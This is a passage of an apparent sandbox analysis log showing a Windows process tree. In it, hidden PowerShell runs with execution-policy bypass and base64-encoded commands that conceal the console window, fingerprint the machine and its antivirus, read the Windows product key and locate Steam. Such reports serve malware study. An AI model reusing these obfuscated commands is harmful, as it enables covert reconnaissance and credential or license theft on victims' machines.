                                                        powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABtAGUAbQBiAGUAcgAgAD0AIAAnAFsARABsAGwASQBtAHAAbwByAHQAKAAiAHUAcwBlAHIAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAYgBvAG8AbAAgAFMAaABvAHcAVwBpAG4AZABvAHcAKABJAG4AdABQAHQAcgAgAGgAVwBuAGQALAAgAGkAbgB0ACAAbgBDAG0AZABTAGgAbwB3ACkAOwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEcAZQB0AEMAbwBuAHMAbwBsAGUAVwBpAG4AZABvAHcAKAApADsAJwA7ACQAdAB5AHAAZQAgAD0AIABBAGQAZAAtAFQAeQBwAGUAIAAtAE0AZQBtAGIAZQByAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAG0AZQBtAGIAZQByACAALQBOAGEAbQBlACAAVwBpAG4AMwAyAFMAaABvAHcAVwBpAG4AZABvAHcAIAAtAFAAYQBzAHMAVABoAHIAdQA7ACQAaAB3AG4AZAAgAD0AIAAkAHQAeQBwAGUAOgA6AEcAZQB0AEMAbwBuAHMAbwBsAGUAVwBpAG4AZABvAHcAKAApADsAJAB0AHkAcABlADoAOgBTAGgAbwB3AFcAaQBuAGQAbwB3ACgAJABoAHcAbgBkACwAIAAwACkA
                                                        3⤵
                                                        • Suspicious behavior: EnumeratesProcesses
                                                        PID:1880
                                                        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                                                          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\mkcpa2lh\mkcpa2lh.cmdline"
                                                          4⤵
                                                            PID:5344
                                                            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                                                              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8D13.tmp" "c:\Users\Admin\AppData\Local\Temp\mkcpa2lh\CSCC5BBE25F45C84991A88CDEDDED705896.TMP"
                                                              5⤵
                                                                PID:4236
                                                        • C:\Windows\system32\cmd.exe
                                                          C:\Windows\system32\cmd.exe /d /s /c "net session"
                                                          2⤵
                                                          • Executes a command shell one-liner
                                                          PID:6244
                                                          • C:\Windows\system32\net.exe
                                                            net session
                                                            3⤵
                                                              PID:6256
                                                              • C:\Windows\system32\net1.exe
                                                                C:\Windows\system32\net1 session
                                                                4⤵
                                                                  PID:6264
                                                            • C:\Windows\system32\cmd.exe
                                                              C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoACgAkAE8AdQB0AHAAdQB0ACAAPQAgAEAAewB9AAoAdAByAHkAIAB7ACAAJABPAHUAdABwAHUAdAAuAEcAUABVACAAPQAgACgARwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AUABhAHQAaAAgACcASABLAEwATQA6AFwAUwBZAFMAVABFAE0AXABDAHUAcgByAGUAbgB0AEMAbwBuAHQAcgBvAGwAUwBlAHQAXABDAG8AbgB0AHIAbwBsAFwAQwBsAGEAcwBzAFwAewA0AGQAMwA2AGUAOQA2ADgALQBlADMAMgA1AC0AMQAxAGMAZQAtAGIAZgBjADEALQAwADgAMAAwADIAYgBlADEAMAAzADEAOAB9AFwAMAAwADAAMAAnACAALQBOAGEAbQBlACAARAByAGkAdgBlAHIARABlAHMAYwAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAC4ARAByAGkAdgBlAHIARABlAHMAYwAgAH0AIABjAGEAdABjAGgAIAB7AH0ACgBpAGYAIAAoAC0AbgBvAHQAIAAkAE8AdQB0AHAAdQB0AC4ARwBQAFUAKQAgAHsACgAgACAAIAAgAHQAcgB5ACAAewAgACQATwB1AHQAcAB1AHQALgBHAFAAVQAgAD0AIAAoAEcAZQB0AC0AQwBpAG0ASQBuAHMAdABhAG4AYwBlACAAVwBpAG4AMwAyAF8AVgBpAGQAZQBvAEMAbwBuAHQAcgBvAGwAbABlAHIAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ARgBpAHIAcwB0ACAAMQApAC4ATgBhAG0AZQAgAH0AIABjAGEAdABjAGgAIAB7AH0ACgB9AAoAdAByAHkAIAB7AAoAIAAgACAAIAAkAGQAcgBpAHYAZQAgAD0AIABHAGUAdAAtAFAAUwBEAHIAaQB2AGUAIABDACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAAoAIAAgACAAIAAkAE8AdQB0AHAAdQB0AC4ARABpAHMAawBGAHIAZQBlACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAGQAcgBpAHYAZQAuAEYAcgBlAGUAIAAvACAAMQBHAEIALAAgADIAKQAKACAAIAAgACAAJABPAHUAdABwAHUAdAAuAEQAaQBzAGsAVABvAHQAYQBsACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAoACQAZAByAGkAdgBlAC4AVQBzAGUAZAAgACsAIAAkAGQAcgBpAHYAZQAuAEYAcgBlAGUAKQAgAC8AIAAxAEcAQgAsACAAMgApAAoAfQAgAGMAYQB0AGMAaAAgAHsAfQAKAHQAcgB5ACAAewAgACQATwB1AHQAcAB1AHQALgBIAFcASQBEACAAPQAgACgARwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AUABhAHQAaAAgACcASABLAEwATQA6AFwAUwBZAFMAVABFAE0AXABDAHUAcgByAGUAbgB0AEMAbwBuAHQAcgBvAGwAUwBlAHQAXABDAG8AbgB0AHIAbwBsAFwASQBEAEMAbwBuAGYAaQBnAEQAQgBcAEgAYQByAGQAdwBhAHIAZQAgAFAAcgBvAGYAaQBsAGUAcwBcADAAMAAwADEAJwAgAC0ATgBhAG0AZQAgAEgAdwBQAHIAbwBmAGkAbABlAEcAdQBpAGQAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAKQAuAEgAdwBQAHIAbwBmAGkAbABlAEcAdQBpAGQAIAB9ACAAYwBhAHQAYwBoACAAewB9AAoAaQBmACAAKAAtAG4AbwB0ACAAJABPAHUAdABwAHUAdAAuAEgAVwBJAEQAKQAgAHsACgAgACAAIAAgAHQAcgB5ACAAewAgACQATwB1AHQAcAB1AHQALgBIAFcASQBEACAAPQAgACgARwBlAHQALQBDAGkAbQBJAG4AcwB0AGEAbgBjAGUAIABXAGkAbgAzADIAXwBDAG8AbQBwAHUAdABlAHIAUwB5AHMAdABlAG0AUAByAG8AZAB1AGMAdAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAC4AVQBVAEkARAAgAH0AIABjAGEAdABjAGgAIAB7AH0ACgB9AAoAdAByAHkAIAB7ACAAJABPAHUAdABwAHUAdAAuAFUAQQBDACAAPQAgACgARwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAEgASwBMAE0AOgBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFAAbwBsAGkAYwBpAGUAcwBcAFMAeQBzAHQAZQBtACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACkALgBFAG4AYQBiAGwAZQBMAFUAQQAgAH0AIABjAGEAdABjAGgAIAB7AH0ACgB0AHIAeQAgAHsAIAAkAE8AdQB0AHAAdQB0AC4ARgBpAHIAZQB3AGEAbABsACAAPQAgACgARwBlAHQALQBOAGUAdABGAGkAcgBlAHcAYQBsAGwAUAByAG8AZgBpAGwAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAgAHwAIABXAGgAZQByAGUALQBPAGIAagBlAGMAdAAgAHsAIAAkAF8ALgBFAG4AYQBiAGwAZQBkACAALQBlAHEAIAAkAHQAcgB1AGUAIAB9ACAAfAAgAE0AZQBhAHMAdQByAGUALQBPAGIAagBlAGMAdAApAC4AQwBvAHUAbgB0ACAALQBnAHQAIAAwACAAfQAgAGMAYQB0AGMAaAAgAHsAfQAKAHQAcgB5ACAAewAKACAAIAAgACAAJABhAHYAIAA9ACAARwBlAHQALQBDAGkAbQBJAG4AcwB0AGEAbgBjAGUAIAAtAE4AYQBtAGUAcwBwAGEAYwBlACAAcgBvAG8AdAAvAFMAZQBjAHUAcgBpAHQAeQBDAGUAbgB0AGUAcgAyACAALQBDAGwAYQBzAHMATgBhAG0AZQAgAEEAbgB0AGkAVgBpAHIAdQBzAFAAcgBvAGQAdQBjAHQAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUACgAgACAAIAAgAGkAZgAgACgAJABhAHYAKQAgAHsAIAAkAE8AdQB0AHAAdQB0AC4ARABlAGYAZQBuAGQAZQByACAAPQAgACgAJABhAHYAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAuAGQAaQBzAHAAbABhAHkATgBhAG0AZQAgAH0AKQAgAC0AagBvAGkAbgAgACIALAAgACIAIAB9AAoAfQAgAGMAYQB0AGMAaAAgAHsAfQAKAHQAcgB5ACAAewAKACAAIAAgACAAJABrAGUAeQAgAD0AIAAoAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAnAEgASwBMAE0AOgBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAE4AVABcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFMAbwBmAHQAdwBhAHIAZQBQAHIAbwB0AGUAYwB0AGkAbwBuAFAAbABhAHQAZgBvAHIAbQAnACAALQBOAGEAbQBlACAAQgBhAGMAawB1AHAAUAByAG8AZAB1AGMAdABLAGUAeQBEAGUAZgBhAHUAbAB0ACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACkALgBCAGEAYwBrAHUAcABQAHIAbwBkAHUAYwB0AEsAZQB5AEQAZQBmAGEAdQBsAHQACgAgACAAIAAgAGkAZgAgACgALQBuAG8AdAAgACQAawBlAHkAKQAgAHsACgAgACAAIAAgACAAIAAgACAAJABrAGUAeQAgAD0AIAAoAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAnAEgASwBMAE0AOgBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAE4AVABcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAEQAZQBmAGEAdQBsAHQAUAByAG8AZAB1AGMAdABLAGUAeQAnACAALQBOAGEAbQBlACAAUAByAG8AZAB1AGMAdABJAGQAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAKQAuAFAAcgBvAGQAdQBjAHQASQBkAAoAIAAgACAAIAB9AAoAIAAgACAAIAAkAE8AdQB0AHAAdQB0AC4AVwBpAG4ASwBlAHkAIAA9ACAAJABrAGUAeQAKAH0AIABjAGEAdABjAGgAIAB7AH0ACgAkAE8AdQB0AHAAdQB0ACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgAKAA=="
                                                              2⤵
                                                                PID:6148
                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoACgAkAE8AdQB0AHAAdQB0ACAAPQAgAEAAewB9AAoAdAByAHkAIAB7ACAAJABPAHUAdABwAHUAdAAuAEcAUABVACAAPQAgACgARwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AUABhAHQAaAAgACcASABLAEwATQA6AFwAUwBZAFMAVABFAE0AXABDAHUAcgByAGUAbgB0AEMAbwBuAHQAcgBvAGwAUwBlAHQAXABDAG8AbgB0AHIAbwBsAFwAQwBsAGEAcwBzAFwAewA0AGQAMwA2AGUAOQA2ADgALQBlADMAMgA1AC0AMQAxAGMAZQAtAGIAZgBjADEALQAwADgAMAAwADIAYgBlADEAMAAzADEAOAB9AFwAMAAwADAAMAAnACAALQBOAGEAbQBlACAARAByAGkAdgBlAHIARABlAHMAYwAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAC4ARAByAGkAdgBlAHIARABlAHMAYwAgAH0AIABjAGEAdABjAGgAIAB7AH0ACgBpAGYAIAAoAC0AbgBvAHQAIAAkAE8AdQB0AHAAdQB0AC4ARwBQAFUAKQAgAHsACgAgACAAIAAgAHQAcgB5ACAAewAgACQATwB1AHQAcAB1AHQALgBHAFAAVQAgAD0AIAAoAEcAZQB0AC0AQwBpAG0ASQBuAHMAdABhAG4AYwBlACAAVwBpAG4AMwAyAF8AVgBpAGQAZQBvAEMAbwBuAHQAcgBvAGwAbABlAHIAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ARgBpAHIAcwB0ACAAMQApAC4ATgBhAG0AZQAgAH0AIABjAGEAdABjAGgAIAB7AH0ACgB9AAoAdAByAHkAIAB7AAoAIAAgACAAIAAkAGQAcgBpAHYAZQAgAD0AIABHAGUAdAAtAFAAUwBEAHIAaQB2AGUAIABDACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAAoAIAAgACAAIAAkAE8AdQB0AHAAdQB0AC4ARABpAHMAawBGAHIAZQBlACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAGQAcgBpAHYAZQAuAEYAcgBlAGUAIAAvACAAMQBHAEIALAAgADIAKQAKACAAIAAgACAAJABPAHUAdABwAHUAdAAuAEQAaQBzAGsAVABvAHQAYQBsACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAoACQAZAByAGkAdgBlAC4AVQBzAGUAZAAgACsAIAAkAGQAcgBpAHYAZQAuAEYAcgBlAGUAKQAgAC8AIAAxAEcAQgAsACAAMgApAAoAfQAgAGMAYQB0AGMAaAAgAHsAfQAKAHQAcgB5ACAAewAgACQATwB1AHQAcAB1AHQALgBIAFcASQBEACAAPQAgACgARwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AUABhAHQAaAAgACcASABLAEwATQA6AFwAUwBZAFMAVABFAE0AXABDAHUAcgByAGUAbgB0AEMAbwBuAHQAcgBvAGwAUwBlAHQAXABDAG8AbgB0AHIAbwBsAFwASQBEAEMAbwBuAGYAaQBnAEQAQgBcAEgAYQByAGQAdwBhAHIAZQAgAFAAcgBvAGYAaQBsAGUAcwBcADAAMAAwADEAJwAgAC0ATgBhAG0AZQAgAEgAdwBQAHIAbwBmAGkAbABlAEcAdQBpAGQAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAKQAuAEgAdwBQAHIAbwBmAGkAbABlAEcAdQBpAGQAIAB9ACAAYwBhAHQAYwBoACAAewB9AAoAaQBmACAAKAAtAG4AbwB0ACAAJABPAHUAdABwAHUAdAAuAEgAVwBJAEQAKQAgAHsACgAgACAAIAAgAHQAcgB5ACAAewAgACQATwB1AHQAcAB1AHQALgBIAFcASQBEACAAPQAgACgARwBlAHQALQBDAGkAbQBJAG4AcwB0AGEAbgBjAGUAIABXAGkAbgAzADIAXwBDAG8AbQBwAHUAdABlAHIAUwB5AHMAdABlAG0AUAByAG8AZAB1AGMAdAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAC4AVQBVAEkARAAgAH0AIABjAGEAdABjAGgAIAB7AH0ACgB9AAoAdAByAHkAIAB7ACAAJABPAHUAdABwAHUAdAAuAFUAQQBDACAAPQAgACgARwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAEgASwBMAE0AOgBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFAAbwBsAGkAYwBpAGUAcwBcAFMAeQBzAHQAZQBtACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACkALgBFAG4AYQBiAGwAZQBMAFUAQQAgAH0AIABjAGEAdABjAGgAIAB7AH0ACgB0AHIAeQAgAHsAIAAkAE8AdQB0AHAAdQB0AC4ARgBpAHIAZQB3AGEAbABsACAAPQAgACgARwBlAHQALQBOAGUAdABGAGkAcgBlAHcAYQBsAGwAUAByAG8AZgBpAGwAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAgAHwAIABXAGgAZQByAGUALQBPAGIAagBlAGMAdAAgAHsAIAAkAF8ALgBFAG4AYQBiAGwAZQBkACAALQBlAHEAIAAkAHQAcgB1AGUAIAB9ACAAfAAgAE0AZQBhAHMAdQByAGUALQBPAGIAagBlAGMAdAApAC4AQwBvAHUAbgB0ACAALQBnAHQAIAAwACAAfQAgAGMAYQB0AGMAaAAgAHsAfQAKAHQAcgB5ACAAewAKACAAIAAgACAAJABhAHYAIAA9ACAARwBlAHQALQBDAGkAbQBJAG4AcwB0AGEAbgBjAGUAIAAtAE4AYQBtAGUAcwBwAGEAYwBlACAAcgBvAG8AdAAvAFMAZQBjAHUAcgBpAHQAeQBDAGUAbgB0AGUAcgAyACAALQBDAGwAYQBzAHMATgBhAG0AZQAgAEEAbgB0AGkAVgBpAHIAdQBzAFAAcgBvAGQAdQBjAHQAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUACgAgACAAIAAgAGkAZgAgACgAJABhAHYAKQAgAHsAIAAkAE8AdQB0AHAAdQB0AC4ARABlAGYAZQBuAGQAZQByACAAPQAgACgAJABhAHYAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAuAGQAaQBzAHAAbABhAHkATgBhAG0AZQAgAH0AKQAgAC0AagBvAGkAbgAgACIALAAgACIAIAB9AAoAfQAgAGMAYQB0AGMAaAAgAHsAfQAKAHQAcgB5ACAAewAKACAAIAAgACAAJABrAGUAeQAgAD0AIAAoAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAnAEgASwBMAE0AOgBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAE4AVABcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFMAbwBmAHQAdwBhAHIAZQBQAHIAbwB0AGUAYwB0AGkAbwBuAFAAbABhAHQAZgBvAHIAbQAnACAALQBOAGEAbQBlACAAQgBhAGMAawB1AHAAUAByAG8AZAB1AGMAdABLAGUAeQBEAGUAZgBhAHUAbAB0ACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACkALgBCAGEAYwBrAHUAcABQAHIAbwBkAHUAYwB0AEsAZQB5AEQAZQBmAGEAdQBsAHQACgAgACAAIAAgAGkAZgAgACgALQBuAG8AdAAgACQAawBlAHkAKQAgAHsACgAgACAAIAAgACAAIAAgACAAJABrAGUAeQAgAD0AIAAoAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAnAEgASwBMAE0AOgBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAE4AVABcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAEQAZQBmAGEAdQBsAHQAUAByAG8AZAB1AGMAdABLAGUAeQAnACAALQBOAGEAbQBlACAAUAByAG8AZAB1AGMAdABJAGQAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAKQAuAFAAcgBvAGQAdQBjAHQASQBkAAoAIAAgACAAIAB9AAoAIAAgACAAIAAkAE8AdQB0AHAAdQB0AC4AVwBpAG4ASwBlAHkAIAA9ACAAJABrAGUAeQAKAH0AIABjAGEAdABjAGgAIAB7AH0ACgAkAE8AdQB0AHAAdQB0ACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgAKAA==
                                                                  3⤵
                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                  PID:6380
                                                              • C:\Windows\system32\cmd.exe
                                                                C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAKABHAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJwBIAEsAQwBVADoAXABTAE8ARgBUAFcAQQBSAEUAXABWAGEAbAB2AGUAXABTAHQAZQBhAG0AJwAgAC0ATgBhAG0AZQAgACcAUwB0AGUAYQBtAFAAYQB0AGgAJwAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAC4AUwB0AGUAYQBtAFAAYQB0AGgA"
                                                                2⤵
                                                                  PID:3340
                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                    powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAKABHAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJwBIAEsAQwBVADoAXABTAE8ARgBUAFcAQQBSAEUAXABWAGEAbAB2AGUAXABTAHQAZQBhAG0AJwAgAC0ATgBhAG0AZQAgACcAUwB0AGUAYQBtAFAAYQB0AGgAJwAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAC4AUwB0AGUAYQBtAFAAYQB0AGgA
                                                                    3⤵
                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                    PID:6468
                                                                • C:\Windows\system32\cmd.exe
                                                                  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAKABHAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJwBIAEsAQwBVADoAXABTAE8ARgBUAFcAQQBSAEUAXABWAGEAbAB2AGUAXABTAHQAZQBhAG0AJwAgAC0ATgBhAG0AZQAgACcAUwB0AGUAYQBtAFAAYQB0AGgAJwAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAC4AUwB0AGUAYQBtAFAAYQB0AGgA"
                                                                  2⤵
                                                                    PID:6500
                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                      powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAKABHAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJwBIAEsAQwBVADoAXABTAE8ARgBUAFcAQQBSAEUAXABWAGEAbAB2AGUAXABTAHQAZQBhAG0AJwAgAC0ATgBhAG0AZQAgACcAUwB0AGUAYQBtAFAAYQB0AGgAJwAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAC4AUwB0AGUAYQBtAFAAYQB0AGgA
                                                                      3⤵
                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                      PID:364
                                                                  • C:\Windows\system32\cmd.exe
